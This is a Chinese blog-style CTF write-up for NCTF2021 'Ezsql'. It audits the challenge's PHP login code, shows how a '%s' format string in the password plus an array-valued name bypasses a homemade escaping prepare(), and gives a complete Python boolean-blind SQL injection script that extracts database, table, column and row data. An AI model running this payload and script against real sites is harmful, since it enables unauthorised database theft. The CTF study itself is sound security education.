CTF | 11分钟
NCTF2021 Ezsql
十二月 1, 2021
SQL注入 PHP 脚本 布尔盲注

好兄弟👦发来的题目,👴当时没做出来,幸好环境还在

这道题测试一遍后,没什么收获,马后炮先扫描网站目录

发现源码,共有三个文件:config.phpDB.phplogin.php

代码审计

config是连接数据库的文件,没啥用,login是登录页面,DB是处理文件,这两个需要着重看一下,文件先挂在下面

login.php

php
 1<?php
 2include_once('config.php');
 3?>
 4<!DOCTYPE html>
 5<html>
 6    <head>
 7        <title>There is no absolutely safe system</title>
 8    </head>
 9    <body>
10<?php
11if (isset($_POST['password'])){
12    $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);
13
14    if (isset($_POST['name'])){
15        $query = db::prepare($query . " and name=%s", $_POST['name']);
16    }
17    else{
18        $query = $query . " and name='benjaminEngel'";
19    }
20    $query = $query . " limit 1";
21
22    $result = db::commit($query);
23
24    if ($result->num_rows > 0){
25        die('NCTF{ez');
26    }
27    else{
28        die('Wrong name or password.');
29    }
30}
31else{?>
32        <form action="login.php" method="post">
33            <input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
34            <input type="password" name="password" id="password" placeholder="Enter password">
35            <button type="submit">Submit</button>
36        </form>
37<?php 
38}
39?>
40    </body>
41</html>

先看login.php,传入password后,放进prepare方法里,看单词应该是个处理方法,然后判断是否传入name,若有就再次放进prepare处理,若无就将name设置为‘benjaminEngel’(前端单词却是bejaminEngel)。随后,把语句设置为查询一条数据,放进commit方法里。如果查询到了数据就输出一段flag,否则输出错误报告

DB.php

php
 1<?php
 2
 3class DB{
 4    private static $db = null;
 5
 6    public function __construct($db_host, $db_user, $db_pass, $db_database){
 7        static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
 8    }
 9
10
11    static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
12    {
13        return new DB($db_host, $db_user, $db_pass, $db_database);
14    }
15
16    public static function getInstance(){
17        return static::$db;
18    }
19
20    public static function connect_error(){
21        return static::$db->connect_errno;
22    }
23
24    public static function prepare($query, $args){
25        if (is_null($query)){
26            return;
27        }
28        if (strpos($query, '%') === false){
29            die('%s not included in query!');
30            return;
31        }
32
33        // get args
34        $args = func_get_args();
35        array_shift( $args );
36
37        $args_is_array = false;
38        if (is_array($args[0]) && count($args) == 1 ) {
39            $args = $args[0];
40            $args_is_array = true;
41        }
42
43        $count_format = substr_count($query, '%s');
44
45        if($count_format !== count($args)){
46            die('Wrong number of arguments!');
47            return;
48        }
49        // escape
50        foreach ($args as &$value){
51            $value = static::$db->real_escape_string($value);
52        }
53
54        // prepare
55        $query = str_replace("%s", "'%s'", $query);
56        $query = vsprintf($query, $args);
57        return $query;
58
59    }
60    public static function commit($query){
61        $res = static::$db->query($query);
62        if($res !== false){ 
63                return $res;
64            }
65            else{
66                die('Error in query.');
67        }
68    }
69}
70?>

DB这里是最核心的部分,根据login文件可知,prepare和commit是核心的方法,向prepare传入两个参数,根据login.php可知,一个是sql语句一个是参数。若语句为空就直接返回,若语句里没有%,就输出报错然后返回。将此方法的参数放到一个数组里,将此参数数组第一个元素删除,将args_is_array设置为false(这个没啥用,没找到用到此布尔变量的地方),若参数数组含有一个元素且此元素为数组,那么将此元素赋给参数数组。计算sql语句中%s的个数,跟参数数组中的元素个数不同则报错并返回。将参数进行转义。将%s替换为'%s',将参数值放入sql语句中。commit方法,先进行查询,然后查询结果不为false就返回res,否则就是输出报错。

分析

这里想闭合符号进行测试,尝试很多都不行,传入引号也会被转义

倘若不传入name,语句拼接了name并且限制一条数据,这个时候就只能从password入手,但password会被加上单引号,想闭合也会被转义,所以我们必须传入name,后续操作也要在name中进行。可在name中操作,就算没有转义,你闭合了符号,由于前面限制了password=md5(%s),你也查不到任何东西。这里卡住了,最终思路是,改闭合password那里。这就很妙了,我们将password里传入格式化字符串%s(%需要编码),这样的话,传入的name值就作为password里的字符串,在password那里闭合小括号,后面注释就可以了。但是格式化字符和参数个数不一致会报错。所以这里想到name传入数组,传入两个name用于平衡格式化字符串,后面那个name值随便是啥,反正都被注释了。(源码自己运行测试,加几个print语句,看语句如何构造的,用于理解这题很有帮助)

所以传入一句进行测试:password=%25s&name[0]=) union select 1,2,3#&name[1]=随便

由于没有其他回显,查询不到会报错,所以直接布尔盲注,采用二分法

脚本

python
  1import binascii
  2import time
  3
  4import requests
  5
  6url = "http://129.211.173.64:3080/login.php"
  7
  8Success_message = "NCTF"
  9payload = ""
 10data = {
 11    "password": "%s",
 12    "name[0]": payload,
 13    "name[1]": "随便"
 14}
 15
 16
 17def database_name():
 18    db_name = ''
 19    for i in range(1, 10):
 20        begin = 32
 21        end = 126
 22        mid = (begin + end) // 2
 23        while begin < end:
 24            data["name[0]"] = ") or ascii(substr(database(),%d,1))>%d#" % (i, mid)
 25
 26            time.sleep(0.1)
 27            res = requests.post(url=url, data=data)
 28            if Success_message not in res.text:
 29                end = mid
 30            else:
 31                begin = mid + 1
 32            mid = (begin + end) // 2
 33        if mid == 32:
 34            print()
 35            break
 36        db_name += chr(mid)
 37        print("数据库名: " + db_name)
 38    return db_name
 39
 40
 41def table_name():
 42    name = ''
 43    for j in range(1, 100):
 44        begin = 32
 45        end = 126
 46        mid = (begin + end) // 2
 47        while begin < end:
 48            data[
 49                "name[0]"] = ") or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d#" % (
 50                j, mid)
 51
 52            time.sleep(0.1)
 53            res = requests.post(url=url, data=data)
 54            if Success_message not in res.text:
 55                end = mid
 56            else:
 57                begin = mid + 1
 58            mid = (begin + end) // 2
 59        if mid == 32:
 60            print()
 61            break
 62        name += chr(mid)
 63        print("表名: " + name)
 64    table_list = name.split(",")
 65    for tab_name in table_list:
 66        column_name(tab_name)
 67
 68
 69def column_name(tab_name):
 70    name = ''
 71    for j in range(1, 100):
 72        begin = 32
 73        end = 126
 74        mid = (begin + end) // 2
 75        while begin < end:
 76            data[
 77                "name[0]"] = ') or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=%s),%d,1))>%d#' % (
 78                ("0x" + binascii.b2a_hex(tab_name.encode()).decode()), j, mid)
 79
 80            time.sleep(0.1)
 81            res = requests.post(url=url, data=data)
 82            if Success_message not in res.text:
 83                end = mid
 84            else:
 85                begin = mid + 1
 86            mid = (begin + end) // 2
 87        if mid == 32:
 88            print()
 89            break
 90        name += chr(mid)
 91        print(("%s表的字段名: " + name) % tab_name)
 92    column_list = name.split(",")
 93    for col_name in column_list:
 94        get_data(tab_name, col_name)
 95
 96
 97def get_data(tab_name, col_name):
 98    dt = ''
 99    for i in range(1, 100):
100        begin = 32
101        end = 126
102        mid = (begin + end) // 2
103        while begin < end:
104            data["name[0]"] = ") or ascii(substr((select(group_concat(`%s`))from `%s`),%d,1))>%d#" % (
105            col_name, tab_name, i, mid)
106
107            time.sleep(0.1)
108            res = requests.post(url=url, data=data)
109            if Success_message not in res.text:
110                end = mid
111            else:
112                begin = mid + 1
113            mid = (begin + end) // 2
114        if mid == 32:
115            print()
116            break
117        dt += chr(mid)
118        print(("%s表的%s字段数据: " + dt) % (tab_name, col_name))
119
120
121if __name__ == '__main__':
122    database_name()
123    table_name()

脚本改个url直接运行,由于有转义函数的存在,所以部分paylaod里的等于表名不能用引号包裹,改成十六进制字符串就好。group_concat或者from表名时,用反引号包裹绕过。